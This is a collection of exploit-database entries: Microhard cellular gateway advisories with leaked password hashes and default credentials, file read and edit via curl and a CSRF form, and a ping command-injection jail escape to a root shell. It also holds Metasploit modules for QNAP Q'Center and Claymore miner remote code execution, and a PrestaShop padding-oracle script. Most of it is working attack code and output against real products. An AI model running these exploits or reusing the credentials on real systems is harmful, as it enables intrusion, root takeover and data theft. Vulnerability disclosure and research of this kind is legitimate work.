                            @zeroscience


Advisory ID: ZSL-2018-5480
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5480.php


13.03.2018

--


System/Web/FTP:
---------------
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh

upgrade:admin
testlab:testlab
testlab1:testlab1
admin:admin
msshc:msshc

BCLC config defaults:
---------------------
IPSec preshared key: DerekUsedThisSecureKeyToEncryptClientAccessIn2014
Access control user/pass: admin:5@lm0nIsG00d
NMS System setting pass: NotComplicated
Webclient setting user/pass: webclient:AlsoNotComplicated
System access control user/pass: readonly:ItIsAlmostFriday
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: Due to the hidden and undocumented File Editor (Filesystem Browser) shell script
'system-editor.sh' an attacker can leverage this issue to read, modify or delete arbitrary
files on the system. Input passed thru the 'path' and 'savefile', 'edit' and 'delfile' GET
and POST parameters is not properly sanitized before being used to modify files. This can
be exploited by an authenticated attacker to read or modify arbitrary files on the affected
system.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5485
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5485.php


13.03.2018

--


Download (script):
------------------
# curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc&savefile=passwd" -H "Authorization: Basic YWRtaW46YWRtaW4="
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


Edit (edit):
------------
CSRF add roOt:rewt to htpasswd:

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-editor.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="path" value="/etc" />
      <input type="hidden" name="edit" value="htpasswd" />
      <input type="hidden" name="filecontent" value="root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0" />
      <input type="hidden" name="save" value=" Save Changes " />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Delete (delfile):
-----------------

GET /cgi-bin/webif/system-editor.sh?path=/www&delfile=pwn.txt HTTP/1.1


Or edit and remove sanitization:
File: /usr/lib/webif/sanitize.awk

// { _str=$0;
	gsub(/ /,"",_str)
	gsub(/\|/,"",_str)
	gsub(/\\/,"",_str)
	gsub(/&/,"",_str)
	gsub(/\^/,"",_str)
	gsub(/\$/,"",_str)
	gsub(/'/,"",_str)
	gsub(/"/,"",_str)
	gsub(/`/,"",_str)
	gsub(/\{/,"",_str)
	gsub(/\}/,"",_str)
	gsub(/\(/,"",_str)
	gsub(/\)/,"",_str)
	gsub(/;/,"",_str)
	print _str
}
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => "QNAP Q'Center change_passwd Command Execution",
      'Description'     => %q{
        This module exploits a command injection vulnerability in the
        `change_passwd` API method within the web interface of QNAP Q'Center
        virtual appliance versions prior to 1.7.1083.

        The vulnerability allows the 'admin' privileged user account to
        execute arbitrary commands as the 'admin' operating system user.

        Valid credentials for the 'admin' user account are required, however,
        this module also exploits a separate password disclosure issue which
        allows any authenticated user to view the password set for the 'admin'
        user during first install.

        This module has been tested successfully on QNAP Q'Center appliance
        version 1.6.1075.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Ivan Huertas', # Discovery and PoC
          'Brendan Coles' # Metasploit
        ],
      'References'      =>
        [
          ['CVE', '2018-0706'], # privesc
          ['CVE', '2018-0707'], # rce
          ['EDB', '45015'],
          ['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'],
          ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'],
          ['URL', 'https://www.securityfocus.com/archive/1/542141'],
          ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10']
        ],
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Targets'         => [['Auto', { }]],
      'CmdStagerFlavor' => %w[printf bourne wget],
      'Privileged'      => false,
      'DisclosureDate'  => 'Jul 11 2018',
      'DefaultOptions'  => {'RPORT' => 443, 'SSL' => true},
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']),
      OptString.new('USERNAME', [true, 'Username for the application', 'admin']),
      OptString.new('PASSWORD', [true, 'Password for the application', 'admin'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false])
    ]
  end

  def check
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html')

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?("<title>Q'center</title>")
      vprint_error "Target is not a QNAP Q'Center appliance"
      return CheckCode::Safe
    end

    version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first
    if version.to_s.eql? ''
      vprint_error "Could not determine QNAP Q'Center appliance version"
      return CheckCode::Detected
    end

    version = Gem::Version.new version
    vprint_status "Target is QNAP Q'Center appliance version #{version}"

    if version >= Gem::Version.new('1.7.1083')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def login(user, pass)
    vars_post = {
      name:     user,
      password: Rex::Text.encode_base64(pass),
      remember: 'false'
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/hawkeye/v1/login'),
      'ctype'  => 'application/json',
      'data'   => vars_post.to_json
    })

    if res.nil?
      fail_with Failure::Unreachable, 'Connection failed'
    elsif res.code == 200 && res.body.eql?('{}')
      print_good "Authenticated as user '#{user}' successfully"
    elsif res.code == 401 || res.body.include?('AuthException')
      fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'"
    else
      fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]"
    end

    @cookie = res.get_cookies
    if @cookie.nil?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie'
    end
  end

  #
  # Retrieve list of user accounts
  #
  def account
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
      'cookie' => @cookie
    })
    JSON.parse(res.body)['account']
  rescue
    print_error 'Could not retrieve list of users'
    nil
  end

  #
  # Login to the 'admin' privileged user account
  #
  def privesc
    print_status 'Retrieving admin user details ...'

    admin = account.first
    if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details'
    end

    @id = admin['_id']
    @pw = Rex::Text.decode_base64 admin['new_password']
    print_good "Found admin password used during install: #{@pw}"

    login admin['name'], @pw
  end

  #
  # Change password to +new+ for user with ID +id+
  #
  def change_passwd(id, old, new)
    vars_post = {
      _id: id,
      old_password: Rex::Text.encode_base64(old),
      new_password: Rex::Text.encode_base64(new),
    }
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
      'query'  => 'change_passwd',
      'cookie' => @cookie,
      'ctype'  => 'application/json',
      'data'   => vars_post.to_json
    }, 5)
  end

  def execute_command(cmd, _opts)
    change_passwd @id, @pw, "\";#{cmd};\""
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include? check
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    login datastore['USERNAME'], datastore['PASSWORD']

    if datastore['USERNAME'].eql? 'admin'
      @id = @cookie.scan(/_ID=(.+?);/).flatten.first
      @pw = datastore['PASSWORD']
    else
      privesc
    end

    print_status 'Sending payload ...'
    execute_cmdstager linemax: 10_000
  end
end
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nanopool Claymore Dual Miner APIs RCE',
      'Description'     => %q{
        This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
      },
      'Author'          =>
        [
          'reversebrain@snado', # Vulnerability reporter
          'phra@snado'          # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['EDB', '44638'],
          ['CVE', '2018-1000049'],
          ['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/']
        ],
      'Platform'        => ['win', 'linux'],
      'Targets'         =>
        [
          [ 'Automatic Target', { 'auto' => true }],
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ]
            }
          ],
          [ 'Windows',
            {
              'Platform' => 'windows',
              'Arch' => ARCH_X64,
              'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
            }
          ]
        ],
      'Payload' =>
        {
          'BadChars' => "\x00"
        },
      'DisclosureDate'  => 'Feb 09 2018',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
      ])
    deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
  end

  def select_target
    data = {
      "id"      => 0,
      "jsonrpc" => '2.0',
      "method"  => 'miner_getfile',
      "params"  => ['config.txt']
    }.to_json
    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    hex = ''
    if tmp2.scan(/\w+/)[7]
      return self.targets[2]
    elsif tmp2.scan(/\w+/)[5]
      return self.targets[1]
    else
      return nil
    end
  end

  def check
    target = select_target
    if target.nil?
      return Exploit::CheckCode::Safe
    end
    data = {
      "id"      => 0,
      "jsonrpc" => '2.0',
      "method"  => 'miner_getfile',
      "params"  => ['config.txt']
    }.to_json
    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    hex = ''
    case target['Platform']
    when 'linux'
      hex = tmp2.scan(/\w+/)[5]
    when 'windows'
      hex = tmp2.scan(/\w+/)[7]
    end
    str = Rex::Text.hex_to_raw(hex)
    if str.include?('WARNING')
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Detected
    end
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    vprint_error(e.message)
    return Exploit::CheckCode::Unknown
  ensure
    disconnect
  end

  def execute_command(cmd, opts = {})
    target = select_target
    case target['Platform']
    when 'linux'
      cmd = Rex::Text.to_hex(cmd, '')
      upload = {
        "id"      => 0,
        "jsonrpc" => '2.0',
        "method"  => 'miner_file',
        "params"  => ['reboot.bash', "#{cmd}"]
      }.to_json
    when 'windows'
      cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
      upload = {
        "id"      => 0,
        "jsonrpc" => '2.0',
        "method"  => 'miner_file',
        "params"  => ['reboot.bat', "#{cmd}"]
      }.to_json
    end

    connect
    sock.put(upload)
    buf = sock.get_once || ''
    trigger_vulnerability
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    disconnect
  end

  def trigger_vulnerability
    execute = {
      "id"      => 0,
      "jsonrpc" => '2.0',
      "method"  => 'miner_reboot'
    }.to_json
    connect
    sock.put(execute)
    buf = sock.get_once || ''
    disconnect
  end

  def exploit
    target = select_target
    if target.nil?
      fail_with(Failure::NoTarget, 'No matching target')
    end
    if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
      (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i)
      fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'")
    end
    case target['Platform']
    when 'linux'
      execute_cmdstager(flavor: :echo, linemax: 100000)
    when 'windows'
      execute_cmdstager(flavor: :vbs, linemax: 100000)
    end
  end
end
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user. 

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5486
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php


13.03.2018

--


1) Enable Microhard Sh service:
-------------------------------

http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)


2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------

# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp

start() {
  deluser msshc
  rm -rf /tmp/msshc
  mkdir -p /tmp/msshc
  msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
  [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
  passwd=$(/sbin/uci get msshc.general.passwd)
  echo "$passwd" >> /etc/passwd
}

stop() {
  deluser msshc
  rm -rf /tmp/msshc
}


3) Check the /etc/msshc.sh script:
----------------------------------

# cat /etc/msshc.sh
#!/bin/sh 
# Copyright (C) 2013 Microhardcorp

/usr/bin/ncftp

exit 0


4) Check the /sbin/uci binary:
------------------------------

Usage: /sbin/uci [<options>] <command> [<arguments>]

Commands:
    batch
    export     [<config>]
    import     [<config>]
    changes    [<config>]
    commit     [<config>]
    add        <config> <section-type>
    add_list   <config>.<section>.<option>=<string>
    show       [<config>[.<section>[.<option>]]]
    get        <config>.<section>[.<option>]
    set        <config>.<section>[.<option>]=<value>
    delete     <config>[.<section[.<option>]]
    rename     <config>.<section>[.<option>]=<name>
    revert     <config>[.<section>[.<option>]]

Options:
    -c <path>  set the search path for config files (default: /etc/config)
    -d <str>   set the delimiter for list values in uci show
    -f <file>  use <file> as input instead of stdin
    -L         do not load any plugins
    -m         when importing, merge data into an existing package
    -n         name unnamed sections on export (default)
    -N         don't name unnamed sections
    -p <path>  add a search path for config change files
    -P <path>  add a search path for config change files and use as default
    -q         quiet mode (don't print error messages)
    -s         force strict mode (stop on parser errors, default)
    -S         disable strict mode
    -X         do not use extended syntax on 'show'

# /sbin/uci get msshc.general.passwd
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


5) Check the NcFTP binary:
--------------------------

# /usr/bin/ncftp -h

Usage:  ncftp [flags] [<host> | <directory URL to browse>]

Flags:
  -u XX  Use username XX instead of anonymous.
  -p XX  Use password XX with the username.
  -P XX  Use port number XX instead of the default FTP service port (21).
  -j XX  Use account XX with the username (rarely needed).
  -F     Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.

Program version:  NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM
Library version:  LibNcFTP 3.2.5 (January 17, 2011)
Build system:     Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...

This is a freeware program by Mike Gleason (http://www.NcFTP.com).
A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/
Use ncftpget and ncftpput for command-line FTP and file URLs.


6) Go to jail:
--------------

lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 msshc@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
msshc@192.168.1.1's password: 
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).

Copyright (c) 1992-2011 by Mike Gleason.
All rights reserved.

ncftp> ?
Commands may be abbreviated.  'help showall' shows hidden and unsupported 
commands.  'help <command>' gives a brief description of <command>.

ascii    close    help     mkdir    put      rename   set      umask  
binary   debug    lls      open     pwd      rhelp    show     
cd       dir      lrm      passive  quit     rm       site     
chmod    get      ls       ping     quote    rmdir    type     

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> help showall
Commands may be abbreviated.  'help showall' shows hidden and unsupported
commands.  'help <command>' gives a brief description of <command>.

?        chmod    exit     ls       mv       pwd      rhelp    site
ascii    close    get      mget     open     quit     rm       type
binary   debug    help     mkdir    passive  quote    rmdir    umask
bye      delete   lls      mls      ping     rename   set
cd       dir      lrm      mput     put      rglob    show

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> ls
ls: must be connected to do that.
ncftp> man ncftp
man: no such command.
ncftp> pwd
pwd: must be connected to do that.
ncftp> show
anon-password                  NcFTP@
auto-ascii                     |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|
auto-resume                    no
autosave-bookmark-changes      no
confirm-close                  no
connect-timeout                20
control-timeout                135
logsize                        10240
pager                          more
passive                        optional
progress-meter                 2 (statbar)
redial-delay                   20
save-passwords                 ask
show-status-in-xterm-titlebar  no
so-bufsize                     0 (use system default)
xfer-timeout                   3600
yes-i-know-about-NcFTPd        no
ncftp>


7) The Shawshank Redemption:
---------------------------- 

ncftp> ping -c1 -4 0.0.0.0 `id` 
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary

Usage: ping [OPTIONS] HOST

Send ICMP ECHO_REQUEST packets to network hosts

Options:
    -4, -6        Force IPv4 or IPv6 hostname resolution
    -c CNT        Send only CNT pings
    -s SIZE        Send SIZE data bytes in packets (default:56)
    -I IFACE/IP    Use interface or IP address as source
    -W SEC        Seconds to wait for the first response (default:10)
            (after all -c CNT packets are sent)
    -w SEC        Seconds until ping exits (default:infinite)
            (can exit earlier with -c CNT)
    -q        Quiet, only displays output at start
            and when finished

ncftp>


8) Come on Andy:
----------------

ncftp> ping -c1 -4 0.0.0.0 && /bin/sh
PING 0.0.0.0 (0.0.0.0): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms

--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.423/0.423/0.423 ms


BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/tmp/msshc # id ; uname -r
uid=0(root) gid=0(root)
2.6.32.9
/tmp/msshc #
HireHackking 
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read
# Charles Fol
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
# This POC will reveal the content of an employee's cookie.
# By modifying it one can read/write any PrestaShop cookie.
# It is a simple padding oracle implementation.
#


import requests
import urllib.parse
import base64

s = requests.Session()
"""
s.proxies = {
    'http': 'localhost:8080',
    'https': 'localhost:8080',
}
#"""

# Login as an employee, get your cookie and paste it here along with the URL
URL = "http://vmweb5/prestashop/admin177chuncw/"
cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208"

# Parse blocks and size
cookie_name, cookie_value = cookie.split("=")
cookie_value = urllib.parse.unquote(cookie_value)
cookie_size = cookie_value[-6:]
cookie_value = cookie_value[:-6]
cookie_value = base64.b64decode(cookie_value)

BLOCK_SIZE = 16

def test_padding(data):
    """Returns true if the padding is correct, false otherwise.
    One can easily adapt it for customer cookies using:
    index.php?controller=identity
    """
    data = base64.b64encode(data).decode()
    data = urllib.parse.quote(data)
    data = data + cookie_size
    s.cookies[cookie_name] = data
    r = s.get(URL, allow_redirects=False)
    s.cookies.clear()
    return 'AdminLogin' not in r.headers.get('Location', '')

def e(msg):
    print(msg)
    exit(1)

if not test_padding(cookie_value):
    e("Invalid cookie (1)")
elif test_padding(b"~~~~~"):
    e("Invalid cookie (2)")

# Perform the padding oracle attack

result = b''

for b in range(1, len(cookie_value) // BLOCK_SIZE + 1):
    obtained = []
    current_block   = cookie_value[(b    ) * BLOCK_SIZE:][:BLOCK_SIZE]
    precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE]

    for p in range(BLOCK_SIZE):
        nb_obtained = len(obtained)

        for i in range(256):
            pad = nb_obtained + 1
            
            prelude = (
                b"\x00" * (BLOCK_SIZE - pad) +
                bytes([i]) +
                bytes([o ^ pad for o in obtained][::-1])
            )
            data = cookie_value + prelude + current_block

            if test_padding(data):
                print("Got byte #%d of block #%d: %d" % (p, b, i))
                obtained.append(i ^ pad)
                break
        else:
            e("Unable to decode position %d" % p)

    # Compute the contents of the plaintext block

    result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])])
